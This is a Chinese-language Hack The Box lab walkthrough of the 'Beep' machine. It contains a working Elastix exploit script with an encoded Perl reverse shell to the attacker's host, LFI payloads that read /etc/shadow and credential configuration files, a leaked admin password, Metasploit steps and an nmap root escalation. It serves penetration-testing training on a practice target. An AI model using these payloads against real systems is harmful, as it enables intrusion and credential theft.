菜单 学习猿地 - LMONKEY

VIP

开通学习猿地VIP

尊享10项VIP特权 持续新增

知识通关挑战

打卡带练!告别无效练习

接私单赚外块

VIP优先接,累计金额超百万

学习猿地私房课免费学

大厂实战课仅对VIP开放

你的一对一导师

每月可免费咨询大牛30次

领取更多软件工程师实用特权

入驻
252
0

【HTB系列】Beep

原创
05/13 14:22
阅读数 65434

出品|MS08067实验室(www.ms08067.com)

这次挑战的是 HTB 的第5台靶机:Beep,评分很高,难度中等

靶机描述

Beep 运行了大量的服务,这对正确发掘入口点有一定的挑战,由于存在大量的攻击向量,或许会让你不知所措,幸运地是,有多种方法可以渗透此系统。

技能收获

  • Web-fuzzing
  • LFI
  • RCE
  • Kali Tool:sslscan / svwar / searchsploit
  • Nmap Privilege Escalation
  • Elastix / FreeFBX
  • VoIP / SIP

信息收集

基本信息
Kali ip :10.10.14.23
Lameip:10.10.10.7

端口扫描

nmap -T4 -A -p- -v 10.10.10.7

确实,开放了不少端口和服务
重点关注几个常见服务 22(ssh)、80(apache)、443(https)、3306(mysql)、10000(httpd)

目录枚举

访问 http://10.10.10.7:80 无反应,maybe it doesn't work
于是枚举https的web应用

dirb

dirb https://10.10.10.7

dirb 枚举失效,看来 ssl 支持不理想?

dirbuster

dirbuster https://10.10.10.7

存在大量的目录、后台管理程序,慢慢研究

漏洞发现

sslscan

sslscan 10.10.10.7

协议层无法突破,到web应用层寻找突破口

Elastix
访问 https://10.10.10.7:443 ,返回登录页面

Beep靶机使用了 Elastix 系统
使用默认用户密码尝试,未果

Username: admin
Password: palosanto

搜索一下 Elastix 系统的历史漏洞

漏洞利用

入口一
参考第一条"代码执行漏洞",https://www.exploit-db.com/exploits/37637
exp 修改如下,保存为 cmd.py

import urllib
import ssl

rhost="10.10.10.7"
lhost="10.10.14.15"
lport=4444
extension="233"

ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
# Reverse shell payload

url = 'https://'+str(rhost)+'/recordings/misc/callme_page.php?action=c&callmenum='+str(extension)+'@from-internal/n%0D%0AApplication:%20system%0D%0AData:%20perl%20-MIO%20-e%20%27%24p%3dfork%3bexit%2cif%28%24p%29%3b%24c%3dnew%20IO%3a%3aSocket%3a%3aINET%28PeerAddr%2c%22'+str(lhost)+'%3a'+str(lport)+'%22%29%3bSTDIN-%3efdopen%28%24c%2cr%29%3b%24%7e-%3efdopen%28%24c%2cw%29%3bsystem%24%5f%20while%3c%3e%3b%27%0D%0A%0D%0A'

urllib.urlopen(url, context=ctx)

我们需要使用定位到本地的 SIP extension ,使用Kali自带工具 svwar

$ svwar -m INVITE -e100-300 10.10.10.7
| Extension | Authentication |
------------------------------
| 233       | reqauth        |

此时,将以上脚本的 etension 修改为233

从之前 sslscan 的扫描结果我们看到 Beep 只支持 TLSv1.0,因此我们需要修改 Kali 的openssl配置文件

vim /etc/ssl/openssl.cnf
#将
[system_default_sect]
MinProtocol = TLSv1.2
CipherString = DEFAULT@SECLEVEL=2
#修改为
[system_default_sect]
MinProtocol = None
CipherString = DEFAULT

此时,运行 cmd.py ,nc开启监听,获得反弹shell

至于提权,该 exp 已经有所描述了

sudo nmap --interactive
!sh

至此完成入口一的利用过程

入口二

参考第二条"文件包含漏洞",https://www.exploit-db.com/exploits/37637

漏洞简介

Elastix is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.
An attacker can exploit this vulnerability to view files and execute local scripts in the context of the web server process. This may aid in further attacks.
Elastix 2.2.0 is vulnerable; other versions may also be affected.

关键利用点

#LFI Exploit: /vtigercrm/graph.php?current_language=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action

读取到 amportal.conf,该文件为Elastix / freepbx连接ami的用户信息配置文件
从之前的目录枚举结果中可以看到,vtigercrm 目录存在且可访问

vTiger CRM是一个集成的客户关系管理(CRM)应用程序,可以在Intranet上或使用浏览器从Internet上使用。

于是访问链接

https://10.10.10.7/vtigercrm/graph.php?current_language=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action

暴露了 amp 数据库用户密码信息

以上暴露的密码,登陆后台

admin
jEhdIekWmdjE

成功登录

考虑到密码多用的习惯,尝试ssh root用户以刚才admin的密码远程连接,事实确实如此

至此完成入口二的利用过程

入口三

访问 https://10.10.10.7/vtigercrm

vTiger CRM 的版本为 5.1.0

其实入口二中的 vtigercrm 程序还存在其它可利用的方式

searchsploit vtiger

正好发现该版本存在的一个缺陷,也是 LFI

查看详细信息

searchsploit -x 18770.txt

payload 如下

https://10.10.10.7/vtigercrm/modules/com_vtiger_workflow/sortfieldsjson.php?module_name=../../../../../../../../etc/shadow%00

暴露 /etc/passwd

暴露用户连接信息配置文件 /etc/amportal.conf

https://10.10.10.7/vtigercrm/modules/com_vtiger_workflow/sortfieldsjson.php?module_name=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action

同样可以暴露ami的用户配置文件 /etc/asterisk/manager.conf
参考:https://www.vtiger.com/docs/asterisk-integration

https://10.10.10.7/vtigercrm/modules/com_vtiger_workflow/sortfieldsjson.php?module_name=../../../../../../../../etc/asterisk/manager.conf%00

入口四

关于入口二和入口三,如果web程序的密码和系统密码不存在复用的话,怎么办?
metasploit中集成了 vtigercrm v5.1.0的一些缺陷,演示如下

search vtigercrm

使用 exploit/multi/http/vtigerphpexec,失败

使用 exploit/multi/http/vtigersoapupload,成功

use exploit/multi/http/vtiger_soap_upload
set RHOSTS 10.10.10.7
set SSL true
set RPORT 443
set LHOST 10.10.14.23

至此成功发现 user.txt ,下一步想办法权限提升

命中**Nmap*,以root权限执行且无需认证

较早版本的Nmap(2.02至5.21)具有交互模式,该模式允许用户执行Shell命令
由于Nmap在以root特权执行的二进制文件列表中,因此可以使用交互式控制台来以相同的特权运行shell
sudo nmap --interactive
!sh

至此完成



转载请联系作者并注明出处!

Ms08067安全实验室专注于网络安全知识的普及和培训。团队已出版《Web安全攻防:渗透测试实战指南》,《内网安全攻防:渗透测试实战指南》,《Python安全攻防:渗透测试实战指南》,《Java代码安全审计(入门篇)》等书籍。
团队公众号定期分享关于CTF靶场、内网渗透、APT方面技术干货,从零开始、以实战落地为主,致力于做一个实用的干货分享型公众号。
官方网站:https://www.ms08067.com/

扫描下方二维码加入实验室VIP社区
加入后邀请加入内部VIP群,内部微信群永久有效!

发表评论

0/200
252 点赞
0 评论
收藏